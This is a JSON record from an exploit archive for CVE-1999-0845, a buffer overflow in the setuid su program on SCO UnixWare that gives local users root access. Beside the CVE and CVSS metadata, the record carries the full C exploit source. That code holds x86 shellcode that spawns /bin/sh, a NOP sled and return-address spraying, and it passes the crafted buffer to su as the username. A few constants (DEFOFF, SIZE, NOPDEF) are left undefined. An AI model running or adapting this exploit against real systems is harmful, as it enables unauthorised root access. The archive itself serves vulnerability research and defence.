{"exploit":{"id":"EDB-19643","name":"SCO Unixware 2.1/7.0/7.0.1/7.1/7.1.1 - su(1) Buffer Overflow","description":"SCO Unixware 2.1/7.0/7.0.1/7.1/7.1.1 - su(1) Buffer Overflow","cves":["CVE-1999-0845"],"author":"K2","published":"1999-10-30","platform":"sco","type":"local","language":"C","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/19643","path":"exploits/sco/local/19643.c","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-19643.c","vulnerabilities":[{"id":"CVE-1999-0845","state":"PUBLISHED","title":null,"titleSource":null,"description":"Buffer overflow in SCO su program allows local users to gain root access via a long username.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-1999-0845","cvss":{"version":"2.0","baseScore":7.2,"severity":"high","vectorString":"AV:L/AC:L/Au:N/C:C/I:C/A:C","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-1999-0845"},"updatedAt":"2024-08-01T16:48:38.063Z","retrievedAt":"2026-11-26T18:09:38.741Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-19643.png?v=2","url":"https://exploitbin.com/exploits/EDB-19643","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-19643/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-19643/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"// source: https://web.archive.org/web/1999/https://www.securityfocus.com/bid/826/info\n\nCertain versions of Unixware ship with a version of su(1) which is vulnerable to a buffer overflow attack. This attack is possible because su(1) fails to sanity check user supplied data, in this instance a username supplied on the command line. Because su(1) is SUID root this attack may result in root privileges.\n\n// UnixWare7 /usr/bin/su local, K2, revisited Oct-30-1999\n#include <unistd.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n\nchar shell[] =\n \"\\xeb\\x48\\x9a\\xff\\xff\\xff\\xff\\x07\\xff\\xc3\\x5e\\x31\\xc0\\x89\\x46\\xb4\"\n \"\\x88\\x46\\xb9\\x88\\x46\\x07\\x89\\x46\\x0c\\x31\\xc0\\x50\\xb0\\x8d\\xe8\\xdf\"\n \"\\xff\\xff\\xff\\x83\\xc4\\x04\\x31\\xc0\\x50\\xb0\\x17\\xe8\\xd2\\xff\\xff\\xff\"\n \"\\x83\\xc4\\x04\\x31\\xc0\\x50\\x8d\\x5e\\x08\\x53\\x8d\\x1e\\x89\\x5e\\x08\\x53\"\n \"\\xb0\\x3b\\xe8\\xbb\\xff\\xff\\xff\\x83\\xc4\\x0c\\xe8\\xbb\\xff\\xff\\xff\\x2f\"\n \"\\x62\\x69\\x6e\\x2f\\x73\\x68\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\";\n\nconst char x86_nop=0x90;\nlong nop,esp;\nlong offset=DEFOFF;\nchar buffer[SIZE];\n\nlong get_esp() { __asm__(\"movl %esp,%eax\"); }\n\nint main (int argc, char *argv[])\n{\n    register int i;\n\n    if (argc > 1) offset += strtol(argv[1], NULL, 0);\n    if (argc > 2) nop += strtoul(argv[2], NULL, 0);\n    else\n        nop = NOPDEF;\n    esp = get_esp();\n\n    memset(buffer, x86_nop, SIZE);\n    memcpy(buffer+nop, shell, strlen(shell));\n\n    for (i = nop+strlen(shell); i < SIZE-4; i += 4)\n        *((int *) &buffer[i]) = esp+offset;\n\n    printf(\"offset = [0x%x]\\n\",esp+offset);\n    execl(\"/usr/bin/su\", \"su\", buffer, NULL);\n\n    printf(\"exec failed!\\n\");\n    return 0;\n}","sha256":"17bc1b1570e3f2fe3004584f8a4a96e1cc63697fbf88a07836a0ee05d6d30e3a","bytes":1620,"fetchedAt":"2026-11-26T18:09:34.089Z","encoding":"utf-8 (display only; download retains original bytes)"}